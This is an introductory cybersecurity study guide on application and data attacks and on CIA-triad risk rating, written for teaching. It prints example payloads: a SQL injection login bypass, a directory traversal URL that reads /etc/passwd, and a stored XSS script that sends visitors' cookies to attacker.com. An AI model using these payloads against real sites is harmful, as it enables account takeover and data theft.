5.1 Application and Data Vulnerabilities and Attacks

Data and the apps that touch it are usually what attackers are after. Whether it's your saved passwords, a company's customer list, or the design specs for a fighter jet engine, that information has value. This topic covers the main ways adversaries break into applications and files, the specific attack types you'll need to recognize, and how to think about which vulnerabilities are the scariest.

How Adversaries Exploit File and Application Vulnerabilities

Before getting into fancy attacks like SQL injection, it helps to understand the most basic ways data gets stolen: weak file protections and sloppy account permissions.

more resources to help you study

practice questions

Unencrypted Files

If a file isn't encrypted and an adversary gets access to the device or drive storing it, they can just open it and read it. That's it. No hacking trick required. A stolen laptop with an unencrypted hard drive is essentially an open book. The same goes for a USB drive someone leaves on a desk, or files sitting on a server with no encryption applied.

This is why encryption at rest matters so much. Even if someone physically takes your drive, encrypted data looks like random gibberish without the key.

Standard Users vs Administrative Users

Most operating systems have two main account types:

• Standard users can run applications and edit their own files, but can't change system settings or touch other users' files.
• Administrative users (admins) can install software, change system configurations, and access pretty much any file or application on the system.

Here's the security problem: if a regular employee is given admin privileges on their work computer and an attacker compromises that account (through phishing, a weak password, whatever), the attacker inherits all those admin powers. This is called privilege escalation through a compromised account. Following the principle of least privilege (only giving people the access they actually need) limits the damage when accounts get compromised.

Weak Access Controls

Access controls are the rules that decide who can view, edit, or delete files. When these are weakly configured, way too many users end up with permission to mess with files they shouldn't be touching.

Picture a shared company drive where every employee has edit access to the folder containing payroll data. An adversary who compromises a single intern's account could steal, modify, or destroy that data. Weak access controls turn every user account into a potential entry point.

How Application Attacks Work

Applications are programs that run instructions on computers. They're executable data. Some run locally (like Microsoft Word on your laptop), and others run on a server and are accessed through a network. Those network-accessible ones are called web applications (think Gmail, Instagram, your school's learning portal).

Most attacks on applications come from one core problem: the application trusts user input that it shouldn't trust.

Data Validation and Injection Attacks

When an application has an input field (a login box, a search bar, a comment section), users can type anything. Data validation is the process of checking that user input matches what the application expects before processing it. If the field asks for a quantity of items, the app should only accept numbers and reject anything else.

Applications that skip validation are wide open to injection attacks, where an attacker types unexpected characters or commands into an input field to change how the program behaves. SQL injection and XSS (covered below) are both injection-type attacks.

SQL Injection

Structured Query Language (SQL) is the language applications use to talk to databases. SQL commands can request information, add records, change records, or delete them. A normal login might run a query like:

</>SQL
SELECT * FROM users WHERE username = 'alex' AND password = 'hunter2';

In an SQL injection attack, the adversary types SQL commands and special characters into an input field instead of normal data. If the app doesn't sanitize input, those commands get executed by the database.

For example, in a login form, an attacker might type this as the username:

</>Code
' OR '1'='1

The query becomes something like SELECT * FROM users WHERE username = '' OR '1'='1'. Since '1'='1' is always true, the database returns every user. That's a confidentiality breach, the database is leaking data it shouldn't. Attackers can also use SQL injection to modify or delete records, which is an integrity breach.

Cross Site Scripting (XSS)

Websites are built with HTML (Hypertext Markup Language), and many use JavaScript to make pages interactive. JavaScript is powerful because it runs inside the visitor's browser. That power is also the problem: malicious JavaScript can read sensitive stuff the browser knows about, like saved usernames, passwords, session cookies, and cryptographic keys.

A cross site scripting (XSS) attack sneaks malicious JavaScript into a website so that other people's browsers run it. There are two main flavors:

• Type I (Reflected XSS): The malicious code is embedded in a link. When the victim clicks the link, the script runs in their browser. Often delivered through phishing emails.
• Type II (Stored XSS): The attacker posts malicious code somewhere it gets saved on the site, like a comment field, forum post, or guestbook. Now every single visitor who loads that page runs the script. Stored XSS is usually worse because it hits everyone.

A simple stored XSS payload might look like this in a comment box:

</>HTML
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

If the site doesn't sanitize the comment, every visitor's session cookie gets shipped off to the attacker.

Buffer Overflow Attacks

When an application takes user input, it stores that input in a buffer, which is a chunk of computer memory with a fixed size. If the user feeds in more data than the buffer can hold, the extra data overflows into nearby memory locations and overwrites whatever was there.

A buffer overflow attack does this on purpose. By carefully crafting the overflowing data, an attacker can:

• Crash the program (a hit to availability)
• Overwrite memory with their own instructions, tricking the computer into executing attacker code

That second outcome is the scary one. The attacker effectively runs code outside the program's normal security policy, which can mean accessing, modifying, or deleting files, or taking control of the whole system. Buffer overflows are a classic vulnerability in applications written in languages like C and C++ that don't automatically check buffer sizes.

Directory Traversal Attacks

Web applications live in directories on servers. When your browser asks for a web page or image, it sends a GET request using HTTP (Hypertext Transfer Protocol). That GET request points to a specific file somewhere in the server's filesystem.

In a directory traversal attack, the adversary modifies the URL or GET request to navigate to files they shouldn't be able to reach. The trick uses .., which means "go up one directory" in most filesystems.

Here's the standard example. A web server stores images in /var/www/images/. A normal request might be:

</>Code
http://example.com/images/cat.jpg

An attacker changes the URL to:

</>Code
http://example.com/images/../../../etc/passwd

Each .. moves one directory up. Three of them walk all the way up to the root of the filesystem. From there, the attacker reaches into /etc/passwd, the Linux file that lists user accounts on the system. If the app doesn't validate the requested path, the server happily returns that sensitive file.

Assessing and Documenting Data Risks

Once you understand how attacks work, you need a way to judge how serious each vulnerability actually is. Risk assessment in cybersecurity comes back to the CIA triad:

• Confidentiality is compromised when unauthorized people can access sensitive data.
• Integrity is compromised when data gets altered from what it should be.
• Availability is compromised when data is destroyed or locked up (think ransomware encrypting your files).

Every vulnerability you assess should be analyzed for which of these three it threatens. Then you rank the overall risk level based on how sensitive the data is and how likely the exploit is to succeed.

High Risk

High risk usually means highly sensitive data (often data covered by laws or regulations like HIPAA for medical records, or ITAR for defense technology) combined with a very likely exploit path.

Example: A company designing the next jet engine for the Air Force stores the technical specifications on an unencrypted drive. The data is extremely sensitive (national security), and the exploit is trivial (anyone with physical or network access to that drive can read everything). That's about as high-risk as it gets.

Moderate Risk

Moderate risk usually means sensitive data that has some protection, just not enough. Maybe it's encrypted but with a weak key, or access controls exist but are too loose.

Example: A company stores customer PII (Personally Identifiable Information) like names, addresses, and Social Security numbers in a spreadsheet. The spreadsheet is encrypted, but the key is small enough that an attacker with decent computing resources could crack it. The data is sensitive and there's a real path to exploit, but it requires effort.

Low Risk

Low risk usually means less sensitive information protected by weak measures, or sensitive information protected by measures that are slightly weaker than ideal.

Example: A company CEO stores private memos to executive staff on a shared company drive that is unencrypted and has no access controls. The memos aren't classified secrets or regulated data, but they're internal and not meant for everyone. Because the data is less sensitive even though the protections are weak, the overall risk stays lower.

Putting Risk Assessment Together

When documenting a risk, you generally want to capture:

1. What data is at stake and how sensitive it is
2. What vulnerability exists (no encryption, weak key, weak access controls, unvalidated input, etc.)
3. Which part of the CIA triad is threatened
4. How likely the exploit is to actually happen
5. An overall rating (high, moderate, low)

That structure is what turns a vague "this seems bad" feeling into actionable security documentation that an organization can prioritize and fix.